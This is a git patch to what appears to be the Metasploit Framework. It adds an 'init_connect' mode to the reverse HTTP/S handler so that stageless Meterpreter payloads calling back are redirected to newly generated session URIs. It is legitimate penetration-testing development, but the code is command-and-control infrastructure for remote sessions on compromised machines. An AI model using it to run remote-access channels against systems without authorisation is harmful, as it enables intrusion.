From 4e49964c158e1f4ecc431e8e2b36ab4a8f63eb34 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 14 Apr 2015 16:33:01 +1000 Subject: [PATCH] Add support for init_connect for stageless payloads This new mode for HTTP/S stageless allows the stageless payload to be reused without MSF believing that the session has already been initialised. --- lib/msf/core/handler/reverse_http.rb | 28 ++++++++++++++++--- .../core/handler/reverse_http/stageless.rb | 5 +++- lib/rex/payloads/meterpreter/uri_checksum.rb | 20 +++++++------ 3 files changed, 39 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 826adbd2b2..f2655dccdd 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -3,6 +3,7 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'rex/payloads/meterpreter/patch' require 'rex/payloads/meterpreter/uri_checksum' +require 'rex/post/meterpreter/packet' require 'rex/parser/x509_certificate' require 'msf/core/payload/windows/verify_ssl' @@ -19,6 +20,7 @@ module ReverseHttp include Msf::Handler include Rex::Payloads::Meterpreter::UriChecksum include Msf::Payload::Windows::VerifySsl + include Rex::Post::Meterpreter # # Returns the string representation of the handler type @@ -222,8 +224,6 @@ protected uuid.arch ||= obj.arch uuid.platform ||= obj.platform - print_status "#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}... (UUID:#{uuid.to_s})" - conn_id = nil if info[:mode] && info[:mode] != :connect conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) @@ -233,7 +233,25 @@ protected # Process the requested resource. case info[:mode] + when :init_connect + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...") + + # Handle the case where stageless payloads call in on the same URI when they + # first connect. From there, we tell them to callback on a connect URI that + # was generated on the fly. This means we form a new session for each. + sum = uri_checksum_lookup(:connect) + new_uri = generate_uri_uuid(sum, uuid) + '/' + + # This bit is going to need to be validated by the Ruby/MSF masters as I + # am not sure that this is the best way to get a TLV packet out from this + # handler. + # Hurl a TLV back at the caller, and ignore the response + pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url') + pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri) + resp.body = pkt.to_r + when :init_python + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...") url = payload_uri(req) + conn_id + '/' blob = "" @@ -268,6 +286,7 @@ protected }) when :init_java + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...") url = payload_uri(req) + conn_id + "/\x00" blob = "" @@ -296,9 +315,9 @@ protected }) when :init_native + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...") url = payload_uri(req) + conn_id + "/\x00" - print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...") resp['Content-Type'] = 'application/octet-stream' blob = obj.stage_payload @@ -335,9 +354,10 @@ protected }) when :connect + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...") + resp.body = "" conn_id = req.relative_resource - print_status("Incoming orphaned or stageless session #{conn_id}, attaching...") # Short-circuit the payload's handle_connection processing for create_session create_session(cli, { diff --git a/lib/msf/core/handler/reverse_http/stageless.rb b/lib/msf/core/handler/reverse_http/stageless.rb index d34ef77fce..6d47ac0084 100644 --- a/lib/msf/core/handler/reverse_http/stageless.rb +++ b/lib/msf/core/handler/reverse_http/stageless.rb @@ -38,7 +38,10 @@ module Handler::ReverseHttp::Stageless host = datastore['LHOST'] host = "[#{host}]" if Rex::Socket.is_ipv6?(host) url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}" - url << "#{generate_uri_uuid_mode(:connect)}/" + + # Use the init_connect mode because we're stageless. This will force + # MSF to generate a new URI when the first request is made. + url << "#{generate_uri_uuid_mode(:init_connect)}/" # invoke the given function to generate the architecture specific payload opts[:generator].call(url) do |dll| diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index 5f4806e0dd..b275cdb8ae 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -10,18 +10,20 @@ module Rex # Define 8-bit checksums for matching URLs # These are based on charset frequency # - URI_CHECKSUM_INITW = 92 # Windows - URI_CHECKSUM_INITN = 92 # Native (same as Windows) - URI_CHECKSUM_INITP = 80 # Python - URI_CHECKSUM_INITJ = 88 # Java - URI_CHECKSUM_CONN = 98 # Existing session + URI_CHECKSUM_INITW = 92 # Windows + URI_CHECKSUM_INITN = 92 # Native (same as Windows) + URI_CHECKSUM_INITP = 80 # Python + URI_CHECKSUM_INITJ = 88 # Java + URI_CHECKSUM_CONN = 98 # Existing session + URI_CHECKSUM_INIT_CONN = 95 # New stageless session # Mapping between checksums and modes URI_CHECKSUM_MODES = Hash[ - URI_CHECKSUM_INITN, :init_native, - URI_CHECKSUM_INITP, :init_python, - URI_CHECKSUM_INITJ, :init_java, - URI_CHECKSUM_CONN, :connect + URI_CHECKSUM_INITN, :init_native, + URI_CHECKSUM_INITP, :init_python, + URI_CHECKSUM_INITJ, :init_java, + URI_CHECKSUM_INIT_CONN, :init_connect, + URI_CHECKSUM_CONN, :connect ] URI_CHECKSUM_MIN_LEN = 5